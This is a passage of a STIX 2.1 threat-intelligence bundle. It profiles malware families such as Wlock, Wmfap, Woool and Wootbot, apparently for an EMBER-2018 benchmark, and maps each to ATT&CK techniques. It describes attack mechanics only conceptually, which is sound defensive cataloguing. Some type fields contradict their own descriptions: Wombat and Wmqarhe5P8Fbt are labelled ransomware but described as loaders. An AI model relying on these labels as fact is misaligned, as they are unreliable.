      "description": "WizzMonetize (also tracked across threat intelligence feeds as Adware:Win32/WizzMonetize, PUA:Win32/WizzMonetize, and Adware.MonetizeInstaller) is an aggressive adware and affiliate web monetization platform. Designed to hijack endpoint web browser configurations and divert commercial search traffic, WizzMonetize is commonly distributed through deceptive video streaming player codecs, pirated media downloads, and malvertising campaigns. Once executed, WizzMonetize registers background system services, modifies browser shortcut targets to launch advertising portals, and injects rogue extensions into Chrome and Edge. It continuously injects banner advertisements and pop-under windows into visited web pages while exfiltrating user browsing habits and search queries to monetization tracking servers. (Observed samples in benchmark: 515)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/WizzMonetize",
        "PUA:Win32/WizzMonetize",
        "Adware.MonetizeInstaller",
        "Win32/WizzMonetize.Adware",
        "WizzCaster.Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wizzmonetize",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wizzmonetize"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45af7070-2aa5-5160-ae58-944204679aa6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--963d3bb5-efa7-5a37-bf55-75d930a250b3",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizzmonetize exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c108d82-5bdd-5e46-ae91-9e2e0ec2be99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--963d3bb5-efa7-5a37-bf55-75d930a250b3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizzmonetize exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--055f88b3-d8c0-5861-a52d-da4632ba2057",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--963d3bb5-efa7-5a37-bf55-75d930a250b3",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizzmonetize exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccd7871d-4623-5213-add9-ef811e3c9c8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--963d3bb5-efa7-5a37-bf55-75d930a250b3",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizzmonetize exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb3f6034-c4c2-5dd2-b7bd-62d2786ae4a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--963d3bb5-efa7-5a37-bf55-75d930a250b3",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wizzmonetize exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e0760dcf-8e78-5862-bcc3-191f2de06cc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wlock",
      "description": "<h3>Executive Summary</h3>\nWlock is a destructive Ransomware variant (often functioning as a \"Screen Locker\"). Its primary objective is to extort money from the victim by either encrypting user files or completely locking the user interface (the Windows desktop), demanding a cryptocurrency payment (or prepaid vouchers) in exchange for restoring access to the system or data.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWlock is typically distributed via spam campaigns with malicious attachments, malvertising, or brute-force RDP (Remote Desktop Protocol) attacks against internet-facing servers.\n\nUpon execution, Wlock forcefully denies access to the system:\n<ul>\n<li><strong>Screen Locking Mechanism:</strong> If operating as a locker, Wlock modifies the Windows Registry (often hijacking the `Winlogon\\Shell` key) to load its own full-screen application instead of the standard `explorer.exe` desktop. This completely prevents the user from accessing the Start menu, taskbar, or any files.</li>\n<li><strong>File Encryption (Crypto-variant):</strong> If operating as a standard crypto-ransomware, it rapidly enumerates the hard drive and network shares, encrypting documents, photos, and databases utilizing strong encryption algorithms (like AES or RSA). The original files are deleted, leaving only the encrypted versions.</li>\n<li><strong>Extortion Demand:</strong> The malware displays a persistent, intimidating ransom note (often claiming to be from law enforcement or utilizing aggressive countdown timers) instructing the victim on how to purchase cryptocurrency and transfer the funds to the attacker.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Wlock infection is a critical security incident resulting in an immediate denial of service and potential total data loss. It completely halts business operations on the infected endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Network Isolation:</strong> Disconnect the infected machine immediately to prevent the ransomware from spreading to mapped network drives or other devices on the LAN.</li>\n<li><strong>Safe Mode Bypass (For Lockers):</strong> If Wlock is acting purely as a Screen Locker, booting the machine into \"Safe Mode with Command Prompt\" or using an offline bootable rescue disk can often bypass the locker application, allowing an administrator to remove the malicious registry keys and delete the executable.</li>\n<li><strong>Data Restoration (For Crypto):</strong> If files have been encrypted, paying the ransom is strongly discouraged, as it funds criminal enterprises and does not guarantee a decryption key. The only reliable remediation is a complete wipe and re-image of the system, followed by data restoration from secure, offline backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Wlock",
        "Trojan.Ransom.Wlock",
        "WinLock"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wlock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wlock"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0f06918-efef-5bd1-97de-6d6de097eff4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0760dcf-8e78-5862-bcc3-191f2de06cc7",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wlock exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b76a933-a961-5c0e-b971-fc2cec3c111f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0760dcf-8e78-5862-bcc3-191f2de06cc7",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wlock exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8d4e2ed-627b-5a19-acd7-130bacb87715",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0760dcf-8e78-5862-bcc3-191f2de06cc7",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wlock exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Shell hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cad5d212-ee31-5e83-a898-22519985adfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wmfap",
      "description": "Exploit:Win32/Wmfap denotes a malicious file specifically crafted to exploit a critical, historic vulnerability in the Windows Metafile (WMF) format (most notably CVE-2005-4560). Attackers abuse how the Windows Graphics Rendering Engine (GDI) processes the `SetAbortProc` record in `.wmf` image files to execute arbitrary code without user interaction (`T1203`).<br><br><b>Understanding Wmfap (WMF Exploits)</b><br>To an end-user, the infection is completely invisible; they simply view an image on a webpage or in an email, and the system is compromised. For a security professional, WMF vulnerabilities highlight the dangers of deeply embedded OS parsing engines. The 'Wmfap' designation usually applies to the exploit vehicle itself, not the payload it delivers (which could be a RAT, downloader, or botnet).<br><br><b>Execution and Exploitation Mechanics</b><br>Wmfap is typically distributed via drive-by downloads on compromised websites or as attachments in phishing emails (`T1566.001`). When the user (or simply the Windows Explorer preview pane) attempts to render the malicious `.wmf` file, the GDI `gdi32.dll` encounters a specially crafted `SetAbortProc` record. This record tricks the system into executing a function pointer supplied by the attacker, redirecting execution flow into shellcode embedded within the image file itself (`T1055.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload delivered by the shellcode. Host-based IoCs for the exploit itself include the presence of malformed `.wmf` files and EDR alerts for memory corruption or shellcode execution originating from image viewing applications (like `rundll32.exe` viewing pictures, or Internet Explorer). The payload will generate its own distinct IoCs. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wmfap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wmfap"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9539b608-b489-5d86-8804-97febee3dfa7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cad5d212-ee31-5e83-a898-22519985adfe",
      "target_ref": "attack-pattern--0e256bfe-cc6d-5f41-9ab7-680374cb717c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wmfap exhibits technique T1203 (Exploitation for Client Execution (Exploiting the WMF vulnerability to run code))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8348a500-6f7e-5ba9-8990-2ceebb0461a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cad5d212-ee31-5e83-a898-22519985adfe",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wmfap exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Delivering the malicious image via email))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43003874-5139-53f2-b7a1-8ffb3dfe2fb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cad5d212-ee31-5e83-a898-22519985adfe",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wmfap exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection (Shellcode executing within the context of the image viewer))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--404e7c5a-010c-5678-862b-3a38d65f8601",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wmqarhe5P8Fbt",
      "description": "<h3>Executive Summary</h3>\n\"wmqarhe5p8fbt\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> wmqarhe5p8fbt typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.wmqarhe5p8fbt",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wmqarhe5P8Fbt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wmqarhe5p8fbt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--184fd936-b0b5-52a7-b22b-3920b0b3c935",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--404e7c5a-010c-5678-862b-3a38d65f8601",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wmqarhe5P8Fbt exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2bede73-b364-5da0-839f-4b9e6bf9e1bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--404e7c5a-010c-5678-862b-3a38d65f8601",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wmqarhe5P8Fbt exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d6b0c27-6144-5590-983a-d244c27b8a86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--404e7c5a-010c-5678-862b-3a38d65f8601",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wmqarhe5P8Fbt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c42f988-705e-5378-aac9-16057f04ac4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--404e7c5a-010c-5678-862b-3a38d65f8601",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wmqarhe5P8Fbt exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--128f4f04-bf30-5d0f-9d13-81d876c6de99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wombat",
      "description": "Trojan:Win32/Wombat is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wombat</b><br>To an end-user, a Wombat infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wombat is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wombat is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wombat frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wombat reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wombat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wombat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--040bd497-6f72-5ff6-9540-28769461108b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128f4f04-bf30-5d0f-9d13-81d876c6de99",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wombat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84590c64-9a36-54a8-bdde-45e9a08dfc44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128f4f04-bf30-5d0f-9d13-81d876c6de99",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wombat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c62c0e78-0701-5861-b613-bac1a9539d48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128f4f04-bf30-5d0f-9d13-81d876c6de99",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wombat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27e02b58-e771-548a-a7cc-677152b1f758",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128f4f04-bf30-5d0f-9d13-81d876c6de99",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wombat exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fa3a900-49ef-5702-abb5-5ac110c325c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--128f4f04-bf30-5d0f-9d13-81d876c6de99",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wombat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--73c35a75-5d83-506b-9f5f-14e05b43c067",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Woool",
      "description": "Trojan:Win32/Woool (often associated with variants targeting 'Legend of Mir' or 'World of Warcraft') is a highly specialized Password Stealer / Keylogger designed explicitly to target players of online MMORPGs (Massively Multiplayer Online Role-Playing Games). The objective is to steal account credentials, in-game currency, and high-value virtual items, which the attackers then sell on grey-market forums for real-world fiat currency.<br><br><b>Understanding Woool (Gaming Credential Stealer)</b><br>To an end-user, the infection may cause slight system sluggishness or unexpected game crashes, culminating in a hijacked gaming account. For a security analyst, while this malware targets consumers, its presence on a corporate network indicates a severe violation of acceptable use policies and represents a massive endpoint security failure, as the same keylogging techniques (`T1056.001`) that steal a WoW password will easily capture corporate VPN credentials.<br><br><b>Execution and Theft Mechanics</b><br>Woool is frequently distributed via malicious 'game cheat' forums, fake game patches, or bundled with pirated gaming software (`T1189`). Upon execution, it establishes persistence via the registry (`T1547.001`). The trojan operates by hooking into the Windows messaging subsystem or dropping a custom driver to monitor keystrokes globally. However, it often specifically targets the memory space (`T1003.001` - applied to game processes) of specific game executables (e.g., `wow.exe`) to scrape credentials and session tokens directly as the user logs in.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of targeted gaming accounts and the potential capture of unrelated passwords if the user reuses credentials. Host-based IoCs include the presence of anomalous dropped files in the `%AppData%` or game installation directories, unexpected API hooking detected by EDR, and registry modifications. Network IoCs include outbound connections to known credential-drop servers, often hosted in regions with lax cybercrime enforcement. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Woool",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/woool"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b14b93e8-0b86-5110-9766-51840cb75d79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73c35a75-5d83-506b-9f5f-14e05b43c067",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woool exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--835d4c63-2712-522a-b484-449b0ed1e20b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73c35a75-5d83-506b-9f5f-14e05b43c067",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woool exhibits technique T1003.001 (OS Credential Dumping (Targeting game memory space))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e107486-7a0f-5e39-92ff-3e62844ed2df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73c35a75-5d83-506b-9f5f-14e05b43c067",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woool exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46853b6d-f286-5f28-8c01-f71dba512cd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--73c35a75-5d83-506b-9f5f-14e05b43c067",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Woool exhibits technique T1189 (Drive-by Compromise (Fake cheats/patches))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7a188ba1-36bc-52fe-a12a-49e767ed8704",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wootbot",
      "description": "Worm:Win32/Wootbot (also known as W32.Wootbot) is a classic, historically significant network worm and IRC botnet agent that was highly prevalent in the mid-2000s. It was designed to rapidly self-propagate across networks by exploiting known Windows vulnerabilities and weak network shares, subsequently connecting the infected machines to an attacker-controlled IRC (Internet Relay Chat) server to receive commands for DDoS attacks or further malware distribution.<br><br><b>Understanding Wootbot (Classic IRC Botnets)</b><br>To an end-user, a Wootbot infection might cause system slowdowns or network latency. For a security operations center, Wootbot represents the architecture of early, noisy botnets. Unlike modern, stealthy botnets using custom protocols or Tor, Wootbot relied on standard IRC channels (`T1071.001`), making its command-and-control traffic relatively easy to spot but incredibly disruptive due to its aggressive worm-like spreading.<br><br><b>Execution and Propagation Mechanics</b><br>Wootbot spreads aggressively. Once executed, it copies itself to the Windows System directory and establishes persistence via the `Run` registry keys (`T1547.001`). It then scans the local subnet and the broader internet for machines vulnerable to specific exploits (e.g., LSASS or DCOM vulnerabilities, prominent in Windows XP/2000) or open network shares (`T1210`, `T1105`). It uses a hardcoded list of weak passwords to attempt brute-force access to IPC$ and admin shares (`T1110.001`). Once successfully copied to a new machine, it connects to a predefined IRC server, joins a specific channel, and waits for commands from the botmaster, which often included launching UDP/TCP flood attacks (`T1498`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the rapid spread of the infection across an enterprise network and participation in DDoS attacks. Network IoCs are highly distinct: excessive, aggressive port scanning (e.g., TCP 135, 139, 445) originating from infected hosts, and persistent outbound TCP connections to external IRC servers (typically on port 6667). Host-based IoCs include the presence of unexpectedly named executables in the System32 directory and corresponding Registry Run key entries. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wootbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wootbot"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c42a7d5d-456a-5726-9115-2b3d406da89d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a188ba1-36bc-52fe-a12a-49e767ed8704",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
